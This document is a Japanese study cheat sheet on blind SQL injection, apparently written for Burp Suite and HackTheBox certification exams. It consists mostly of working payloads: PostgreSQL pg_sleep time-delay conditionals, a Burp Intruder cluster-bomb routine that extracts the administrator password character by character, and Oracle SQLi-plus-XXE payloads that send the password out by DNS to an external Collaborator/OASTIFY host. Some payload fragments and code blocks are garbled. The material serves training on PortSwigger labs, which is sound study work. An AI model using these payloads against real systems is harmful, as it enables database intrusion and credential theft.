ブラインド SQLi
兆候なしのブラインド SQLi
条件付き応答のブラインド SQLi
Oracle
SQLMAP
非 Oracle の手動 SQLi
視覚的なエラーベース SQLi
HackTheBox CPTS SQLi Fundamentals
エラーベースまたはブラインド SQL インジェクションの脆弱性により、アプリケーション内の SQL クエリを利用して、データベースからデータやログイン資格情報を抽出できます。SQLMAP はエクスプロイトを迅速に進め、機密情報を取得するために使用されます。
特定: Web パラメータまたはトラッキング Cookie に二重引用符 (") または一重引用符 (') を追加して SQLi を特定します。これにより SQL 構文が壊れてエラーメッセージ応答が発生した場合、SQL インジェクション陽性と特定されます。エラーや条件付きメッセージが確認されない場合は、ブラインドの時間遅延ペイロードをテストしてください。

時間遅延を伴うブラインド SQL インジェクションは特定が厄介です。ファジングには、OffSec が OSCP でも教えてくれたように、経験に基づく推測が必要です。以下のペイロードは、SQL インジェクション陽性と特定された場合に、応答を 10 秒遅延させる条件分岐を実行します。
SQLi の脆弱性を特定します。Burp 模擬試験ステージ 2では、詳細検索フィルターが
PostgreSQLに対して脆弱です。詳細検索で模擬試験の脆弱性を特定・悪用するのはSQLMAPでは難しいと感じました。SQL インジェクションの時間遅延を手動で悪用する方法はこちらの模擬試験にあります。```SQL ;SELECT CASE WHEN (1=1) THEN pg_sleep(7) ELSE pg_sleep(0) END--
>[URLエンコード](https://www.urlencoder.org/) `PostgreSQL` ペイロード。```SQL
'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(7)+ELSE+pg_sleep(0)+END--
管理者ユーザーのパスワードの文字数を判別します。これを行うには、
>1条件チェックの後の数値をインクリメントします。```SQL ;SELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

>CLUSTER Bomb攻撃を使用して、パスワード内の文字位置の各順列に対して攻撃を再実行し、文字の値を特定します。```SQL
;SELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,§1§,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
CLUSTER bomb 攻撃タイプを2つのペイロードで使用し、1つ目はパスワードの長さ
1..20、2つ目は文字a..zと数字0..9を使用します。イントルーダーの攻撃結果に Response Received 列を追加して並べ替え、10秒以上の遅延を正の応答として観察します。

Burp 演習試験のステージ 2 では、SQL インジェクションはシングルクォート
'ではなくセミコロン;を使用してエスケープされ、それを URL エンコードして%3Bとします。```SQL %3BSELECT+pg_sleep(7)--

>Intruder CLUSTER bomb 攻撃では、以下のペイロード内の2つのペイロード位置を利用することで、パスワードを1回の攻撃だけで抽出できます。```SQL
;SELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,§1§,1)='§a§')+THEN+pg_sleep(7)+ELSE+pg_sleep(0)+END+FROM+users--
Burp Practice 試験の管理ポータルのステージ 3 では、安全でないデシリアライゼーション の cookie 値を悪用する必要があります。
対象は、Blind SQL エクスプロイトクエリを使用した Out-of-Band データ外部送信に対して脆弱です。この場合、trackingID cookie が該当します。 以下は、SQL インジェクションと XXE ペイロードを組み合わせて脆弱性を悪用し、管理者パスワードを DNS リクエストとして Collaborator サービスに送信するものです。```sql TrackingId=xxx'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f>+%25remote%3b]>'),'/l')+FROM+dual--

[PortSwigger Lab: 帯域外データ流出を伴うブラインドSQLインジェクション](https://portswigger.net/web-security/sql-injection/blind/lab-out-of-band-data-exfiltration)
>上記のSQLペイロードは、この[PortSwigger Lab: 条件付きエラーを伴うブラインドSQLインジェクション](https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors)チャレンジのAdministratorパスワードを抽出するためにも使用できます。
### 兆候なしのBlind SQLi
>```trackingid``` Cookie、または検索パラメータ `/search_advanced?searchTerm='` の末尾にシングルクォートを配置すると、`500 Internal Server Error` レスポンスが返される場合があります。推測で構いません。以下のBlind SQLiペイロードを使用し、基本的なXXEテクニックと組み合わせると、コラボレーションサーバーに呼び出しが行われますが、データは流出しません。```sql
TrackingId=xxx'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//OASTIFY.COM/">+%25remote%3b]>'),'/l')+FROM+dual--

参考用にXMLを含む追加のSQLiペイロード。
||はSQLの連結演算子で、2つの文字データ型または数値データ型に評価される2つの式を連結し、難読化も行います。``` '||(select extractvalue(xmltype('%fuzz;]>'),'/l') from dual)||'
[OAST - 帯域外アプリケーションセキュリティテスト](https://portswigger.net/burp/application-security-testing/oast)
[PortSwigger ラボ: 帯域外インタラクションを伴うブラインドSQLインジェクション](https://portswigger.net/web-security/sql-injection/blind/lab-out-of-band)
### ブラインドSQLi条件付きレスポンス
>このブラインドSQLインジェクションは、レスポンス内の小さなメッセージの違いによって ***識別*** されます。妥当な真のSQLクエリを送信すると、レスポンスに ```Welcome back``` 文字列が含まれます。無効な偽のSQLクエリステートメントには、レスポンスの条件付きメッセージが含まれません。```
' AND '1'='1